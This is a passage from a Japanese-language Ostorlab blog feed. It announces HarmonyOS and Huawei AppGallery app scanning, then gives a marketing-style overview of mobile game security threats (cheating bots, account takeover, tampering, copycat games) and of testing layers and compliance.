type="html">&lt;p&gt;Ostorlabは&lt;strong&gt;HarmonyOSアプリのスキャン&lt;/strong&gt;と&lt;strong&gt;Huawei AppGalleryのスキャン&lt;/strong&gt;に対応しました。これにより、チームは&lt;strong&gt;Android&lt;/strong&gt;や&lt;strong&gt;iOS&lt;/strong&gt;にすでに適用しているのと同じセキュリティの考え方で、Huaweiで配信されるアプリを評価できます。目的はシンプルです。対処すべき問題をより早く見つけ、より強力なエビデンスでリスクを検証し、チームがより迅速に修正できるよう支援することで、リスクへの露出を減らすことです。&lt;/p&gt;
&lt;p&gt;HarmonyOSアプリは、AndroidやiOSと多くの脆弱性クラスを共有していますが、プラットフォーム固有のアタックサーフェスももたらします。スキャンは最もクリティカルなリスクを対象とします。具体的には、悪意のあるアプリが特権コンポーネントを呼び出せてしまう、エクスポートされたAbilityの乗っ取りや暗黙的なWantの傍受、デバイス間のデータ漏えい、リモートAbilityの呼び出し、不正なタスク移行を含むDistributed Soft Busの悪用、ArkUI WebViewを介してネイティブAPIを信頼できないWebコンテンツに露出させるJavaScriptインターフェースインジェクション、PreferencesやRDBへの暗号化されていない安全でないデータ保存、信頼レベルが低くサーバー側の検証が欠如した生体認証の不備、HUKSを迂回するハードコードされた鍵や脆弱な暗号、ネイティブNAPIモジュールにおけるバッファオーバーフローやuse-after-free、そしてサプライチェーン内の脆弱なサードパーティHAR/HAPパッケージです。検出結果には実証レベルのエビデンスが付属するため、チームはリスクを迅速に確認し、自信を持って修正の優先順位付けを行えます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;はじめに&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;今すぐアプリをスキャン（ログイン不要）：&lt;/strong&gt; &lt;a href="https://ostorlab.co/"&gt;https://ostorlab.co/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;アカウントを作成：&lt;/strong&gt; &lt;a href="https://report.ostorlab.co/account/new/"&gt;https://report.ostorlab.co/account/new/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="harmonyosとappgalleryにとってこれが重要な理由"&gt;&lt;strong&gt;HarmonyOSとAppGalleryにとってこれが重要な理由&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;HarmonyOSのインストールベースは10億台近くに達しており、Huawei AppGalleryは、チームがもはや見過ごすことのできない配信チャネルとして成長を続けています。当社の複数の顧客から、HarmonyOSとAppGalleryのスキャン対応について直接要望をいただいており、その需要はより大きな変化を反映しています。このエコシステム向けにアプリを配信している（あるいは配信しているアプリを評価している）のであれば、AndroidやiOSで期待するのと同じ水準の可視性が必要です。つまり、本番環境に到達すれば実際のインシデントにつながりかねない、危険なパターン、安全でない設定、依存関係のリスク、その他の問題を特定する必要があるということです。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="HarmonyOSのインストールベースが10億台に到達。Huaweiのオペレーティングシステムのエコシステムの規模と、成長を続けるこのプラットフォームにモバイルセキュリティチームが再現性のあるスキャンのカバレッジを必要とする理由を示す、単一の指標カード。" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-04-20_HarmonyOS_Huawei_AppGallery_Release/HaronyOS_1_Billion_device.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="始め方は2通り"&gt;&lt;strong&gt;始め方は2通り&lt;/strong&gt;&lt;/h2&gt;
&lt;h3 id="方法1:ホームページからの無料スキャン(ログイン不要):huawei appgalleryの検索からスキャン"&gt;&lt;strong&gt;方法1：ホームページからの無料スキャン（ログイン不要）：Huawei AppGalleryの検索からスキャン&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;手早く確認したい場合は、アカウント不要でホームページから直接無料スキャンを実行できます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;こちらから開始：&lt;/strong&gt; &lt;a href="https://ostorlab.co/"&gt;https://ostorlab.co/&lt;/a&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;ホームページを開く（Create a Free Mobile Scanフォーム）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AppGallery&lt;/strong&gt;を選択する&lt;/li&gt;
&lt;li&gt;アプリの&lt;strong&gt;国/地域&lt;/strong&gt;を選択する&lt;/li&gt;
&lt;li&gt;アプリを検索する（Huawei AppGalleryで検索するのと同じ要領で）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;メールアドレス&lt;/strong&gt;を入力し、&lt;strong&gt;Scan&lt;/strong&gt;をクリックして結果を受け取る&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="AppGalleryを選択し、国を選び、アプリを検索してメールアドレスを入力するだけで、Huawei AppGalleryの無料セキュリティスキャンを数秒で作成し、すばやく結果を受け取れます。" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-04-20_HarmonyOS_Huawei_AppGallery_Release/run_free_mobile_app_scan_huawei_AppGallery.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;AppGalleryに掲載されているアプリのスポットチェックや、すばやいフィードバックに最適です。&lt;/p&gt;
&lt;h3 id="方法2:アカウントを作成してプラットフォーム上でスキャンを実行し、harmonyosパッケージをアップロードする"&gt;&lt;strong&gt;方法2：アカウントを作成してプラットフォーム上でスキャンを実行し、HarmonyOSパッケージをアップロードする&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;保存された履歴&lt;/strong&gt;、&lt;strong&gt;バージョンをまたいだ再実行&lt;/strong&gt;、&lt;strong&gt;一貫したレポート&lt;/strong&gt;を備えた再現性のあるワークフローが必要な場合は、アカウントを作成し、Ostorlabプラットフォームからスキャンを実行してください。&lt;/p&gt;
&lt;p&gt;すでにOstorlabをご利用の場合は、サインイン後にダッシュボードから新しいスキャンを開始すると、これらのオプションが表示されます。&lt;br/&gt;
&lt;a href="https://report.ostorlab.co/scan/new"&gt;https://report.ostorlab.co/scan/new&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="Huawei AppGalleryアプリとHarmonyOSアプリのモバイルセキュリティスキャンを実行。プラットフォームを選択するだけで、脆弱性の検出結果をすばやく得られます。" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-04-20_HarmonyOS_Huawei_AppGallery_Release/vulnerability-scanner-harmonyos-huawei-appgallery.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;アカウントを作成：&lt;br/&gt;
&lt;a href="https://report.ostorlab.co/account/new/"&gt;https://report.ostorlab.co/account/new/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;アカウントを作成すると&lt;strong&gt;パッケージの直接スキャン&lt;/strong&gt;も利用できるようになり、ストア検索に加えて、サポートされている成果物をアップロードすることで&lt;strong&gt;リリース前のビルド&lt;/strong&gt;を評価できます。サポートされているパッケージ形式は&lt;code&gt;.APK&lt;/code&gt;、&lt;code&gt;.AAB&lt;/code&gt;、&lt;code&gt;.RPK&lt;/code&gt;、&lt;code&gt;.APP&lt;/code&gt;、&lt;code&gt;.HAP&lt;/code&gt;です。&lt;/p&gt;</content><category term="Product"/><category term="HarmonyOS"/><category term="Huawei AppGallery"/><category term="MAST"/></entry><entry><title>モバイルゲームのセキュリティテスト：チートとハッキングを防ぐ</title><link href="https://blog.ostorlab.co/ja/mobile-game-security.html" rel="alternate"/><published>2026-04-20T10:30:00+02:00</published><updated>2026-09-28T00:00:00+02:00</updated><author><name>Youssef Mabrouk</name></author><id>tag:blog.ostorlab.co,2026-04-20:/ja/mobile-game-security.html</id><summary type="html">&lt;p&gt;モバイルゲームのセキュリティテストは、クライアント、ネットワーク、バックエンドの各レイヤーを保護することで、チート、ハッキング、収益の損失を防ぎます。本ガイドでは、ゲームの安全性、公平性、コンプライアンスを維持したいモバイルセキュリティチームとモバイルゲーム開発者に向けて、最新の脅威、テスト手法、ベストプラクティスを解説します。&lt;/p&gt;</summary><content type="html">&lt;h2 id="はじめに"&gt;はじめに&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://ostorlab.co/solutions/mobile_gaming"&gt;&lt;strong&gt;モバイルゲームのセキュリティテスト&lt;/strong&gt;&lt;/a&gt;の重要性は、かつてないほど高まっています。今日の攻撃者は、単純なチートをはるかに超えた手口を使います。AIを活用したチート、自動化されたボット、マルウェアを用いて、アカウントを盗み、ゲーム内通貨を無制限に生成し、有料アイテムを支払いなしでアンロックし、レアな報酬を自動で収集します。 &lt;/p&gt;
&lt;p&gt;こうした攻撃の影響は個々のプレイヤーにとどまりません。個人データを露出させ、公正なプレイを損ない、ゲームの収益と評判の両方に打撃を与えるおそれがあります。長期間検知されないままでいると、開発者よりも先にプレイヤーが気づきます。不満が募り、コミュニティが離れ始め、被害が目に見える頃にはすでに取り返しがつきにくくなっています。&lt;/p&gt;
&lt;p&gt;攻撃がより高度になり、見つけにくくなるなか、問題が起きてから対応するだけでは不十分です。だからこそ、開発者は&lt;strong&gt;セキュリティテスト&lt;/strong&gt;に目を向けます。セキュリティテストが不可欠なのは、ゲームそのものの外側まで調べるからです。ゲームアプリ、ゲームが通信するネットワーク、そしてプレイヤーデータや取引を管理するバックエンドシステムを検査します。 
&lt;figure&gt;&lt;img alt="コンプライアンスの状況、モバイルゲームに対する自動モンキーテスト、検出された脆弱性の重大度別一覧を表示するOstorlabのモバイルゲームセキュリティテストプラットフォーム" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-04-16_mobile_game_security_testing/ostorlab-mobile-game-security-testing.png" title="Ostorlabのモバイルゲームセキュリティテストプラットフォーム"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;Ostorlabのモバイルゲームセキュリティテストプラットフォーム&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="モバイルゲームがハッカーの格好の標的になる理由"&gt;モバイルゲームがハッカーの格好の標的になる理由&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://www.kaspersky.com/blog/gen-z-gaming-report-2025/"&gt;KasperskyのGen Z Gaming Report 2025&lt;/a&gt;によると、&lt;strong&gt;2024年第2四半期から2025年第1四半期までの間に&lt;/strong&gt;、Z世代に人気のゲームの名前を使って悪意のあるファイルを偽装した&lt;strong&gt;攻撃の試みが19,038,175件&lt;/strong&gt;ありました。同レポートによれば、&lt;strong&gt;モバイルゲームは2020年以降9%成長&lt;/strong&gt;しており、&lt;strong&gt;Z世代の82%がスマートフォンでプレイ&lt;/strong&gt;しつつ、PCやコンソールでもゲームをしています。半数以上がゲーム内アイテムやサブスクリプションに月20ドル以上を費やしており、ハッカーにとって格好の標的となっています。&lt;/p&gt;
&lt;p&gt;これほど多くのプレイヤーが時間とお金を投じているため、モバイルゲームは脆弱性を悪用して利益を得ようとするハッカーを当然引き寄せます。ハッカーがモバイルゲームを狙う主な理由を見ていきましょう。&lt;/p&gt;
&lt;h3 id="高い収益と大規模なプレイヤーベースはハッカーにとって魅力的"&gt;高い収益と大規模なプレイヤーベースはハッカーにとって魅力的&lt;/h3&gt;
&lt;p&gt;プレイヤー数が多く、アプリ内課金が盛んなモバイルゲームは、当然ハッカーを引き寄せます。アプリ内課金、仮想通貨、有料コンテンツを持つゲームは、支払いなしで通貨やアイテムを入手するために悪用される可能性があります。ゲームの人気が高いほど、ハッカーは攻撃を拡大しやすくなります。攻撃者は数千のアカウントを乗っ取ったり、リソースを自動で収集したり、多数のプレイヤーにまたがって報酬システムを悪用したりできます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;たとえば&lt;/strong&gt;、数十億規模の収益を上げ、数億人の月間ユーザーを抱える&lt;strong&gt;Clash of Clans&lt;/strong&gt;や&lt;strong&gt;PUBG Mobile&lt;/strong&gt;のようなゲームでは、ハッカーが盗んだ認証情報を使ってジェムやスキンを抜き取り、闇市場で転売するアカウント乗っ取りが広範に発生しています。 &lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="クランがハッキングされたとプレイヤーが訴えるr/ClashOfClansの複数のReddit投稿" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-04-16_mobile_game_security_testing/clash-of-clans-reddit-hack-complaints.png" title="クランがハッキングされたとプレイヤーが訴えるr/ClashOfClansの複数のReddit投稿"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;クランがハッキングされたとプレイヤーが訴えるr/ClashOfClansの複数のReddit投稿&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h3 id="ゲームデザイン、進行システム、頻繁なアップデートは悪用され得る"&gt;ゲームデザイン、進行システム、頻繁なアップデートは悪用され得る&lt;/h3&gt;
&lt;p&gt;多くのモバイルゲームは、すぐに得られる報酬、進行システム、ライブイベントによってプレイヤーを引きつけ続けるよう設計されています。こうした機能はゲームプレイを面白くする一方で、ハッカーに付け入る隙も生み出します。&lt;/p&gt;
&lt;p&gt;攻撃者は進行の仕組みを悪用して、想定より速くレベルを上げたり、有料コンテンツを支払いなしでアンロックしたり、競技で不公平な優位を得たりできます。頻繁なアップデートやライブイベントは新しいコードと機能をもたらし、アップデートのたびに、セキュリティチェックが脆弱性を捉えるまでの潜在的な隙間が生じます。ハッカーはこうした隙を突いて報酬を操作し、保護を回避し、ゲーム経済を混乱させることができます。セキュリティが継続的に徹底されていなければ、よく設計されたゲームであっても脆弱になります。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;例：「PUBG Mobile - スキンとイベントの悪用」&lt;/strong&gt;&lt;br/&gt;
&lt;strong&gt;PUBG Mobile&lt;/strong&gt;では、プレイヤーはイベントへの参加やシーズンの進行を通じて、コスメティックアイテム、スキン、報酬を獲得します。ハッカーはこれらの仕組みを次のように悪用してきました。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;改造クライアントやメモリインジェクションを使った&lt;strong&gt;レアスキンやゲーム内通貨の複製&lt;/strong&gt; &lt;/li&gt;
&lt;li&gt;ボットやスクリプトによる&lt;strong&gt;イベントチャレンジの自動クリア&lt;/strong&gt;で、想定より速く報酬を獲得  &lt;/li&gt;
&lt;li&gt;セキュリティパッチが完全に展開される前に新しい仕組みを導入する&lt;strong&gt;ライブイベントの悪用&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;PUBG Mobile&lt;/strong&gt;のような人気ゲームでは、チートは今も蔓延しています。2025年8月25日から8月31日までのわずか1週間で、&lt;a href="https://pubg.com/en/news/9143"&gt;PUBG: BATTLEGROUNDSは170,165件のアカウントを永久停止&lt;/a&gt;し、&lt;strong&gt;そのうち162,329件がチートによるもの&lt;/strong&gt;でした。不公平な優位を得ようとするプレイヤーがいかに多いかがわかります。&lt;/p&gt;
&lt;h3 id="モバイルゲームは改ざんされやすい"&gt;モバイルゲームは改ざんされやすい&lt;/h3&gt;
&lt;p&gt;モバイルゲームは、&lt;strong&gt;クライアントサイド&lt;/strong&gt;の改ざんに対して特に脆弱です。ゲームの進行状況、通貨、イベントデータは、サーバーと同期される前に端末上にローカルに保存されます。これにより、サーバーが検証する前に、攻撃者が&lt;strong&gt;クライアントサイド&lt;/strong&gt;でゲームの挙動を改変する機会が生まれます。&lt;/p&gt;
&lt;p&gt;ハッカーはしばしば&lt;strong&gt;&lt;a href="https://docs.ostorlab.co/kb/APK_CHECK_ROOT/index.html"&gt;root化またはジェイルブレイクされた端末&lt;/a&gt;&lt;/strong&gt;を標的にします。&lt;strong&gt;メモリエディター、改造されたゲームクライアント、ネットワークプロキシ&lt;/strong&gt;を使って、通貨、体力、タイマー、イベントの進行状況などを操作します。単純なボットや自動化スクリプトでさえ、人間のプレイヤーより速く反復作業をこなせるため、チーターに優位をもたらします。&lt;/p&gt;
&lt;p&gt;モバイルゲームはインストールや共有が容易なため、小さな&lt;strong&gt;クライアントサイドのエクスプロイト&lt;/strong&gt;でさえ、プレイヤーコミュニティや闇市場のフォーラムを通じてすばやく拡散します。この&lt;strong&gt;改ざんの敷居の低さ&lt;/strong&gt;がチート、アカウントの不正利用、不正なゲーム内経済を助長し、プレイヤーと開発者の両方に影響を与えます。&lt;/p&gt;
&lt;p&gt;前のセクションで触れた&lt;strong&gt;PUBG Mobile&lt;/strong&gt;は、これがどれほど速く拡大し得るかを示す明確な例です。&lt;strong&gt;1週間で数十万件のアカウントが停止&lt;/strong&gt;され、チートツールはソーシャルメディア上で公然と宣伝されています。&lt;/p&gt;
&lt;h2 id="2026年のモバイルゲームにおける主な脅威"&gt;2026年のモバイルゲームにおける主な脅威&lt;/h2&gt;
&lt;p&gt;モバイルゲームはさまざまな方向から攻撃を受けており、その手法はますます高度になっています。ここでは、モバイルゲームが現在直面している主な脅威を紹介します。&lt;/p&gt;
&lt;h3 id="aiを活用したボットとアカウント乗っ取り"&gt;AIを活用したボットとアカウント乗っ取り&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;ボット&lt;/strong&gt;は&lt;strong&gt;AI&lt;/strong&gt;によって大幅に高度化しています。リソースを収集し、チャレンジをクリアし、リーダーボードを駆け上がりながら、すぐには不審に思われません。タイミング、動き、意思決定といった人間の振る舞いを模倣することで、自動化されたアンチチートシステムをすり抜けることができます。中には複数のアカウントにまたがって集団で動き、ゲーム内経済を悪用したり、大規模なイベントを人間には不可能な速さで終わらせたりするものもあります。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;アカウント乗っ取り&lt;/strong&gt;も大きな問題です。攻撃者は、フィッシングやパスワードの使い回しといった単純な手口と、クレデンシャルスタッフィング、ブルートフォース攻撃、保護されていないネットワーク上でのセッションハイジャックといったより高度な手法を組み合わせて使います。いったん侵入すると、通貨を抜き取り、レアアイテムを奪い、進行を自動化し、闇市場のプラットフォームでアカウントを売却することができ、プレイヤーと開発者の双方を悩ませます。 &lt;/p&gt;
&lt;p&gt;Redditで複数のプレイヤーがアカウントをハッキングされたと訴えている&lt;strong&gt;Clash of Clansのようなゲームで見てきたとおり&lt;/strong&gt;、非常に人気のあるゲームでは、長年使われてきたアカウントでさえこうした攻撃に対して脆弱です。&lt;/p&gt;
&lt;h3 id="改ざん、改造(modding)、リバースエンジニアリング"&gt;改ざん、改造（Modding）、リバースエンジニアリング&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;改ざん&lt;/strong&gt;は、今も最も一般的な侵入口の一つです。ゲームは端末上で直接改変され、サーバーが把握する前に通貨、体力、進行状況が操作されます。リバースエンジニアリングはさらに踏み込み、攻撃者がゲーム全体を逆コンパイルしてルールを書き換え、クールダウンをスキップし、有料コンテンツを無料でアンロックすることを可能にします。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://irdeto.com/blog/security-threats-to-mobile-gaming-apps-101"&gt;DenuvoによるGoogle Playの上位50ゲームの調査&lt;/a&gt;は、改ざんとチートがいかに一般的かを明らかにしています。Denuvoは64のチート・クラックサイトを調べ、これらのゲームの86%についてチートを、84%について改ざんされたAPKを確認しました。タイトルの80%では最新バージョン向けのチートが存在し、メモリエディターによるハックは22%で機能しました。  &lt;/p&gt;
&lt;p&gt;これは、攻撃者がモバイルアプリをリバースエンジニアリングし、APKやメモリを改変してチートを作成し、サーバーに気づかれることなくゲームロジック、通貨、進行状況を操作する改造版を再配布していることを示しています。&lt;/p&gt;
&lt;h3 id="経済への打撃と知的財産の盗用(コピーゲーム)"&gt;経済への打撃と知的財産の盗用（コピーゲーム）&lt;/h3&gt;
&lt;p&gt;取引のバグが修正されないままだと、プレイヤーは購入を完了した後にそれを取り消し、アイテムと通貨の両方を手元に残すことができます。トレード画面の不具合も同様で、交換プロセスを操作することでレアアイテムを複製できてしまいます。時間が経つにつれて経済にアイテムがあふれ、正当にプレイしているすべての人にとってバランスが崩れます。こうしたエクスプロイトを含む改造APKはサードパーティのサイトで自由に出回っており、多くの場合マルウェアと一緒に再パッケージ化されています。 &lt;/p&gt;
&lt;p&gt;これらすべての背後にあるのが&lt;strong&gt;リバースエンジニアリング&lt;/strong&gt;です。&lt;strong&gt;コピーゲーム&lt;/strong&gt;の作り手もリバースエンジニアリングツールを使って、元のゲームからアート、マップ、ゲームの仕組みを直接抜き出します。そしてすべてをほぼ同一のタイトルに再パッケージ化し、別の名前で代替アプリストアに公開します。これは知的財産（IP）の盗用であり、スタジオが所有する創作物であるキャラクター、ビジュアル、ゲームデザインが、許可なく他者に盗まれ収益化されます。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="ポケモンのコピーゲーム「Pocket Monster Reissue」のカバー画像" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-04-16_mobile_game_security_testing/pocket-monster-reissue-ip-theft-copycat.png" title="Pocket Monster Reissue：ポケモンのコピーゲーム"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;Pocket Monster Reissue：ポケモンのコピーゲーム&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.nintendolife.com/news/2024/09/pokemon-wins-usd15-million-copyright-lawsuit-against-chinese-mobile-game-developers"&gt;Pocket Monster Reissueは、モバイルにおける知的財産の盗用の記録された事例です&lt;/a&gt;。中国の開発者が2015年にこのコピーゲームをリリースし、ポケモンのキャラクターデザイン、ゲームの仕組み、ブランディングをほぼ丸ごと模倣しました。このコピーゲームは最初の1年で4,200万ドルを稼ぎ、The Pok&amp;eacute;mon Companyに帰属する知的財産を直接収益化しました。The Pok&amp;eacute;mon Companyが訴訟を起こしたのは2021年12月になってからで、2024年までに1,500万ドルの損害賠償を勝ち取りました。 &lt;/p&gt;
&lt;p&gt;こうした脅威を理解することが第一歩です。以下のセクションでは、セキュリティテストがこれらにどう対処するか、そして開発者が先手を打つために何を整えておくべきかを説明します。&lt;/p&gt;
&lt;h2 id="モバイルゲームのハッキングとチートがビジネスに与える影響"&gt;モバイルゲームのハッキングとチートがビジネスに与える影響&lt;/h2&gt;
&lt;p&gt;ハッキング、チート、アカウント乗っ取りによって侵害されたとき、それがはっきり見えることはめったにありません。経済が壊れているように感じる、アカウントが侵害される、チーターがリーダーボードを独占するなど、開発チームより先に&lt;strong&gt;プレイヤーが異変に気づき始めます&lt;/strong&gt;。不満はまずレビューに現れ、次に継続率の数字に表れます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;アプリストアの評価は特に容赦がありません&lt;/strong&gt;。ハッキングや不公平なゲームプレイを指摘する星1つのレビューが相次ぐと、オーガニックな発見に直接影響するため、立て直すのは困難です。新規プレイヤーは何よりも先に評価を目にします。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;プレイヤーデータが関わっていた場合、事態はさらに深刻になります&lt;/strong&gt;。&lt;a href="https://gdpr-info.eu/"&gt;GDPR&lt;/a&gt;違反、&lt;a href="https://www.ftc.gov/legal-library/browse/rules/childrens-online-privacy-protection-rule-coppa"&gt;COPPA&lt;/a&gt;違反、&lt;a href="https://www.pcisecuritystandards.org/"&gt;PCI DSS&lt;/a&gt;への不適合には実際の罰金が科され、規制当局は侵害が意図的だったかどうかを考慮しません。一度のインシデントにかかる法務・コンプライアンス上のコストは、数か月分のセキュリティテストの費用を上回ることもあります。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;収益への打撃は最後に、しかし最も大きく現れます&lt;/strong&gt;。悪用された経済はゲーム内通貨の価値を下げ、不正な取引は決済システムを消耗させ、ゲームが不公平だと感じたプレイヤーはお金を使わなくなります。その信頼を取り戻すには、原因となった脆弱性を修正するよりもはるかに長い時間がかかります。&lt;/p&gt;
&lt;h2 id="セキュリティテストがモバイルゲームを守る仕組み"&gt;セキュリティテストがモバイルゲームを守る仕組み&lt;/h2&gt;
&lt;p&gt;モバイルゲームのセキュリティテストは複数のレイヤーで構成されます。各レイヤーは、コードや実行時から、ネットワーク、データ、クライアントの完全性、AIによる監視まで、ゲームの異なる部分を保護します。次の表は、各レイヤーが何を保護し、どのようにゲームの安全性と公平性を保つかを示しています。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;セキュリティテストのレイヤー&lt;/th&gt;
&lt;th style="text-align: left;"&gt;保護対象&lt;/th&gt;
&lt;th style="text-align: left;"&gt;モバイルゲームへの効果&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://ostorlab.co/product/mobilesast"&gt;コード&lt;/a&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;ゲームのソース、ロジック、仕組み&lt;/td&gt;
&lt;td style="text-align: left;"&gt;プレイヤーが有料コンテンツを早期にアンロックしたり、ゲームのルールを回避したり、ゲーム内の仕組みを改変したりするのを防ぐ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://ostorlab.co/product/mobiledast"&gt;実行時&lt;/a&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;ゲーム実行中のアクティブな監視&lt;/td&gt;
&lt;td style="text-align: left;"&gt;チート、ハッキング、異常な振る舞い、自動化されたボットの活動をリアルタイムで検知し、公正なゲームプレイを確保する&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://ostorlab.co/product/backend_api_network"&gt;ネットワーク&lt;/a&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;ゲームとサーバー間の通信&lt;/td&gt;
&lt;td style="text-align: left;"&gt;マルチプレイヤーセッションを保護し、スコアの改ざんを防ぎ、ゲーム内取引を守る&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://ostorlab.co/product/privacy_compliance"&gt;データ&lt;/a&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;プレイヤー情報と資産&lt;/td&gt;
&lt;td style="text-align: left;"&gt;プレイヤーのアカウント、進行状況、仮想通貨を安全に保つ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://ostorlab.co/product/malware_and_resilience"&gt;完全性&lt;/a&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;端末上のゲームクライアント&lt;/td&gt;
&lt;td style="text-align: left;"&gt;改造版や改ざんされたバージョンが不公平な優位をもたらしたり、ゲームを壊したりするのを防ぐ&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="モバイルゲームのセキュリティテスト手法"&gt;モバイルゲームのセキュリティテスト手法&lt;/h2&gt;
&lt;p&gt;セキュリティテストでは、さまざまな手法を用いて脆弱性を見つけ、チートを防ぎ、ゲーム全体でプレイヤーデータを保護します。主なアプローチは、&lt;strong&gt;静的解析、動的・実行時テスト、ペネトレーションテスト、自動脆弱性スキャン、アンチチートの振る舞い検証&lt;/strong&gt;であり、それぞれがコードからライブのプレイヤー行動まで、ゲームの特定のレイヤーを対象とします。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="モバイルゲームのセキュリティテスト手法5つを示すインフォグラフィック" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-04-16_mobile_game_security_testing/mobile-game-security-testing-methodologies.png" title="モバイルゲームのセキュリティテスト手法"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;モバイルゲームのセキュリティテスト手法&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="モバイルゲームのセキュリティテストがコンプライアンスを支え、コストを下げる仕組み"&gt;モバイルゲームのセキュリティテストがコンプライアンスを支え、コストを下げる仕組み&lt;/h2&gt;
&lt;p&gt;セキュリティテストはプレイヤーとそのデータを守るだけでなく、ゲームが規制要件を満たすことにも役立ちます。脆弱性を早期に検出することで、問題の修正にかかるコストと労力が減り、罰金のリスクが下がり、ゲームの評判への潜在的な打撃を防げます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;関連する規制と標準：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;GDPR&lt;/strong&gt;：EU域内のプレイヤーの個人データの収集、保存、処理を規定し、同意、安全な保存、侵害の報告を義務付ける  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PCI DSS&lt;/strong&gt;：アプリ内課金やその他の金融取引を伴うゲームにおける決済情報の取り扱いについて、セキュリティ要件を定める  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;COPPA&lt;/strong&gt;：13歳未満の子どもが利用できるゲームに適用され、データ収集に対する保護者の同意を確保し、子どものプライバシーを保護する&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;これらの標準は、開発者が機密性の高いプレイヤー情報をどう扱い、金融取引をどう保護するかの指針となります。特にモバイルゲームの場合、ゲームが世界中でプレイされ、国ごとに独自の規則が施行されているため、一度のデータ侵害や決済の悪用が複数の地域で同時に規制措置や多額の罰金を招く可能性があり、リスクはより大きくなります。&lt;/p&gt;
&lt;h2 id="モバイルゲームを保護するためのベストプラクティス"&gt;モバイルゲームを保護するためのベストプラクティス&lt;/h2&gt;
